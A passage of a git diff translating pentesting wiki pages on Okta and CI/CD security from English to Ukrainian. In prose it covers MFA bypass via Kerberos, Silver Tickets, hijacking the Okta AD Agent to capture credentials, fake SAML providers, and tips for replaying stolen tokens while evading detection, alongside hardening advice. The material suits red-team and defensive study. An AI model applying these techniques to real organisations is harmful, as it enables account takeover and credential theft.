малих компаній та окремих розробників. Станом на останнє оновлення у вересні 2021 року, Okta визнана видатною компанією в сфері управління ідентичністю та доступом (IAM). > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> Основна мета Okta - налаштувати доступ для різних користувачів та груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**. > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора лише для читання**. ### Summary -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або аутентифіковані через **Active Directory** або LDAP).\ +Ці користувачі можуть бути в **групах**.\ +Є також **аутентифікатори**: різні варіанти аутентифікації, такі як пароль, та кілька 2FA, як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці аутентифікації**, яка вказує на **необхідні аутентифікатори** для користувача, щоб **отримати доступ** до додатка. > [!CAUTION] -> The most powerful role is **Super Administrator**. +> Найбільш потужна роль - **Super Administrator**. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Якщо зловмисник компрометує Okta з доступом адміністратора, всі **додатки, які довіряють Okta**, ймовірно, будуть **компрометовані**. ## Attacks ### Locating Okta Portal -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **Okta портал**. ### Login in Okta via Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, аутентифікованих за допомогою Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" в параметрах Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надання доступу до панелі управління Okta. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** та доставити його через браузер для аутентифікації з Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Ця техніка передбачає **доступ до Okta AD Agent на сервері**, який **синхронізує користувачів і обробляє аутентифікацію**. Перевіряючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними аутентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу аутентифікації Okta, але й **відповідати на спроби аутентифікації**, що дозволяє несанкціонований доступ або надає універсальну аутентифікацію через Okta (аналогічно "скелетному ключу"). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Ця техніка передбачає захоплення Okta AD Agent, спочатку отримавши OAuth Code, а потім запитуючи API токен. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого AD агента**. Ініціалізація дозволяє агенту **обробляти спроби аутентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних аутентифікації в середовищі Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta Fake SAML Provider -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +Техніка передбачає **впровадження фальшивого SAML постачальника**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на аутентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє аутентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб. ### Phishing Okta Portal with Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати фішинг-кампанію проти порталу Okta. ### Colleague Impersonation Attack -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +**Атрибути, які може мати та змінювати кожен користувач** (як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** **довіряє** як ID **атрибуту**, який користувач може **змінити**, він зможе **вдаватись в інших користувачів на цій платформі**. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на **електронну адресу колеги** та вдаватися в нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Зверніть увагу, що це вдавання залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\ +Отже, додаток повинен мати це поле увімкненим, якщо воно існує:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців різні додатки налаштовуються по-різному). -The best way to find out if you could impersonate anyone on each app would be to try it! +Найкращий спосіб дізнатися, чи можете ви вдаватися в когось у кожному додатку, - це спробувати це! ## Evading behavioural detection policies -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторіть токен на **URL конкретного додатка Okta** замість основної сторінки входу. -Key recommendations include: +Ключові рекомендації включають: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Уникайте використання** популярних анонімізуючих проксі та VPN-сервісів при повторному використанні захоплених токенів доступу. +- Переконайтеся, що **рядки user-agent** між клієнтом і повторно використаними токенами доступу є послідовними. +- **Уникайте повторного використання** токенів від різних користувачів з однієї IP-адреси. +- Будьте обережні при повторному використанні токенів проти панелі управління Okta. +- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP або їх діапазону, блокуючи весь інший трафік. ## Okta Hardening -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta має багато можливих конфігурацій, на цій сторінці ви знайдете, як їх перевірити, щоб вони були максимально безпечними: {{#ref}} okta-hardening.md @@ -112,7 +112,3 @@ okta-hardening.md - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..871112076 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +З точки зору атакуючого це дуже цікаво, оскільки ви зможете побачити **всіх зареєстрованих користувачів**, їх **електронні** адреси, **групи**, до яких вони належать, **профілі** та навіть **пристрої** (мобільні разом з їх ОС). -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Для перевірки whitebox переконайтеся, що немає кількох "**Очікує дії користувача**" та "**Скидання пароля**". ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набір **дозволів**), які можуть бути надані **користувачам**.\ +Можна побачити **людей, включених до груп** та **додатки, призначені** кожній групі. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Global Administrators**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +З точки зору whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Знайдіть тут **список усіх пристроїв** усіх користувачів. Ви також можете побачити, чи він **активно керується** чи ні. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, внутрішній зловмисник може спробувати **взяти під контроль інші облікові записи**. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Більше того, у профілі **`User (default)`** з Okta ви можете побачити **які поля** має кожен **користувач** і які з них є **доступними для запису** користувачами. Якщо ви не можете побачити панель адміністратора, просто перейдіть до **оновлення інформації про свій профіль** і ви побачите, які поля ви можете оновити (зверніть увагу, що для оновлення електронної адреси вам потрібно буде її підтвердити). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Довідники дозволяють імпортувати людей з існуючих джерел. Я гадаю, тут ви побачите користувачів, імпортованих з інших довідників. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +Я цього не бачив, але вважаю, що це цікаво дізнатися **інші довідники, які Okta використовує для імпорту користувачів**, тому якщо ви **компрометуєте цей довідник**, ви могли б встановити деякі значення атрибутів у користувачів, створених в Okta, і **можливо, скомпрометувати середовище Okta**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Джерело профілю - це **додаток, який діє як джерело правди** для атрибутів профілю користувача. Користувач може бути джерелом лише з одного додатка або довідника одночасно. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде корисною. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Перевірте на вкладці **Domains** цього розділу електронні адреси, які використовуються для надсилання електронних листів, та власний домен всередині Okta компанії (який ви, напевно, вже знаєте). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Більше того, на вкладці **Setting**, якщо ви адміністратор, ви можете "**Використовувати власну сторінку виходу**" і встановити власне URL. ### SMS -Nothing interesting here. +Тут нічого цікавого. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Тут ви можете знайти налаштовані додатки, але ми побачимо деталі цих пізніше в іншому розділі. ### Other -Interesting setting, but nothing super interesting from a security point of view. +Цікава настройка, але нічого надто цікавого з точки зору безпеки. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Тут ви можете знайти всі **налаштовані додатки** та їх деталі: Хто має доступ до них, як вони налаштовані (SAML, OpenID), URL для входу, відображення між Okta та додатком... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +На вкладці **`Sign On`** також є поле під назвою **`Password reveal`**, яке дозволяє користувачу **показати свій пароль** при перевірці налаштувань додатка. Щоб перевірити налаштування додатка з панелі користувача, натисніть на 3 крапки:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +І ви зможете побачити ще кілька деталей про додаток (наприклад, функцію показу пароля, якщо вона увімкнена):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Використовуйте сертифікації доступу для створення аудиторських кампаній для періодичного перегляду доступу ваших користувачів до ресурсів та автоматичного затвердження або відкликання доступу, коли це необхідно. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +Я цього не бачив, але вважаю, що з точки зору захисту це гарна функція. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **Електронні листи сповіщень про безпеку**: Усі повинні бути увімкнені. +- **Інтеграція CAPTCHA**: Рекомендується встановити принаймні невидимий reCaptcha +- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися (7 днів - це нормально) +- **Запобігання перерахуванню користувачів**: Обидва повинні бути увімкнені +- Зверніть увагу, що запобігання перерахуванню користувачів не діє, якщо дозволено будь-яку з наступних умов (Див. [Управління користувачами](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) для отримання додаткової інформації): +- Самостійна реєстрація +- JIT потоки з автентифікацією електронною поштою +- **Налаштування Okta ThreatInsight**: Логувати та забезпечувати безпеку на основі рівня загрози ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Тут можна знайти правильно та **небезпечні** налаштовані **налаштування**. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Тут ви можете знайти всі методи автентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на автентифікатор пароля, ви можете побачити **політику паролів**. Переконайтеся, що вона сильна. -In the **Enrollment** tab you can see how the ones that are required or optinal: +На вкладці **Enrollment** ви можете побачити, які з них є обов'язковими або необов'язковими:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +Рекомендується вимкнути телефон. Найсильнішими, ймовірно, є комбінація пароля, електронної пошти та WebAuthn. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Кожен додаток має політику автентифікації. Політика автентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Тут ви можете знайти **вимоги для доступу до кожного додатка**. Рекомендується вимагати принаймні пароль та інший метод для кожного додатка. Але якщо ви, як атакуючий, знайдете щось більш слабке, ви можете спробувати атакувати його. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Тут ви можете знайти політики сесій, призначені різним групам. Наприклад:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +Рекомендується вимагати MFA, обмежити тривалість сесії на кілька годин, не зберігати куки сесії через розширення браузера та обмежити місцезнаходження та постачальника ідентичності (якщо це можливо). Наприклад, якщо кожен користувач повинен входити з певної країни, ви могли б дозволити лише це місцезнаходження. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Постачальники ідентичності (IdP) - це служби, які **керують обліковими записами користувачів**. Додавання IdP в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку автентифікуючись за допомогою соціального облікового запису або смарт-карти. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +На сторінці постачальників ідентичності ви можете додати соціальні входи (IdP) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdP, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Якщо будь-який постачальник ідентичності налаштований** з точки зору атакуючого та захисника, перевірте цю конфігурацію та **чи є джерело дійсно надійним**, оскільки атакуючий, що компрометує його, також може отримати доступ до середовища Okta. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +Делегована автентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для **Active Directory (AD) або LDAP** сервера своєї організації. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Знову ж таки, перевірте це, оскільки атакуючий, що компрометує AD організації, може мати можливість перейти до Okta завдяки цій настройці. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Мережева зона - це налаштовувана межа, яку ви можете використовувати для **надання або обмеження доступу до комп'ютерів і пристроїв** у вашій організації на основі **IP-адреси**, яка запитує доступ. Ви можете визначити мережеву зону, вказавши одну або кілька окремих IP-адрес, діапазони IP-адрес або географічні місця. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках автентифікації**, сповіщеннях VPN та **правилах маршрутизації**. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +З точки зору атакуючого цікаво знати, які IP дозволені (і перевірити, чи є якісь **IP більш привілейованими** за інших). З точки зору атакуючого, якщо користувачі повинні отримувати доступ з певної IP-адреси або регіону, перевірте, чи правильно використовується ця функція. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці автентифікації, щоб забезпечити доступ до додатка для керованих пристроїв. +- Я цього ще не бачив. TODO +- **Служби сповіщень**: Я цього ще не бачив. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з дозволами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Довірені джерела** надають доступ до веб-сайтів, якими ви керуєте та яким довіряєте для доступу до вашої організації Okta через API Okta. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +Не повинно бути багато токенів API, оскільки, якщо їх багато, атакуючий може спробувати отримати до них доступ і використовувати їх. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +Автоматизації дозволяють вам створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Наприклад, умовою може бути "Неактивність користувача в Okta" або "Закінчення терміну дії пароля користувача в Okta", а дією може бути "Надіслати електронний лист користувачу" або "Змінити стан життєвого циклу користувача в Okta". ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Завантажте журнали. Вони **надсилаються** на **електронну адресу** поточного облікового запису. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Тут ви можете знайти **журнали дій, виконаних користувачами**, з великою кількістю деталей, таких як вхід в Okta або в додатки через Okta. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +Це може **імпортувати журнали з інших платформ**, доступних через Okta. ### Rate limits -Check the API rate limits reached. +Перевірте досягнуті обмеження швидкості API. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Тут ви можете знайти **загальну інформацію** про середовище Okta, таку як назва компанії, адреса, **електронна адреса для виставлення рахунків**, **електронна адреса технічного контакту** та також хто повинен отримувати оновлення Okta і які види оновлень Okta. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Тут ви можете завантажити агенти Okta для синхронізації Okta з іншими технологіями. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..647e89868 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS означає **Систему Контролю Версій**, ця система дозволяє розробникам **управляти своїм вихідним кодом**. Найбільш поширеною є **git**, і ви зазвичай знайдете компанії, які використовують його на одній з наступних **платформ**: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Хмарні провайдери (вони пропонують свої власні платформи VCS) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +CI/CD пайплайни дозволяють розробникам **автоматизувати виконання коду** для різних цілей, включаючи створення, тестування та розгортання додатків. Ці автоматизовані робочі процеси **ініціюються конкретними діями**, такими як пуші коду, запити на злиття або заплановані завдання. Вони корисні для спрощення процесу від розробки до виробництва. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +Однак ці системи потрібно **виконувати десь** і зазвичай з **привілейованими обліковими даними для розгортання коду або доступу до чутливої інформації**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Навіть якщо деякі платформи VCS дозволяють створювати пайплайни, у цьому розділі ми будемо аналізувати лише потенційні атаки на контроль вихідного коду. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Платформи, які містять вихідний код вашого проекту, містять чутливу інформацію, і людям потрібно бути дуже обережними з правами, наданими всередині цієї платформи. Ось деякі поширені проблеми на платформах VCS, які зловмисник може зловживати: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Витоки**: Якщо ваш код містить витоки в комітах, і зловмисник може отримати доступ до репозиторію (оскільки він публічний або тому, що у нього є доступ), він може виявити витоки. +- **Доступ**: Якщо зловмисник може **отримати доступ до облікового запису всередині платформи VCS**, він може отримати **більшу видимість і права**. +- **Реєстрація**: Деякі платформи дозволяють зовнішнім користувачам створювати обліковий запис. +- **SSO**: Деякі платформи не дозволяють користувачам реєструватися, але дозволяють будь-кому отримати доступ з дійсним SSO (тому зловмисник може використовувати свій обліковий запис github для входу, наприклад). +- **Облікові дані**: Ім'я користувача + пароль, особисті токени, 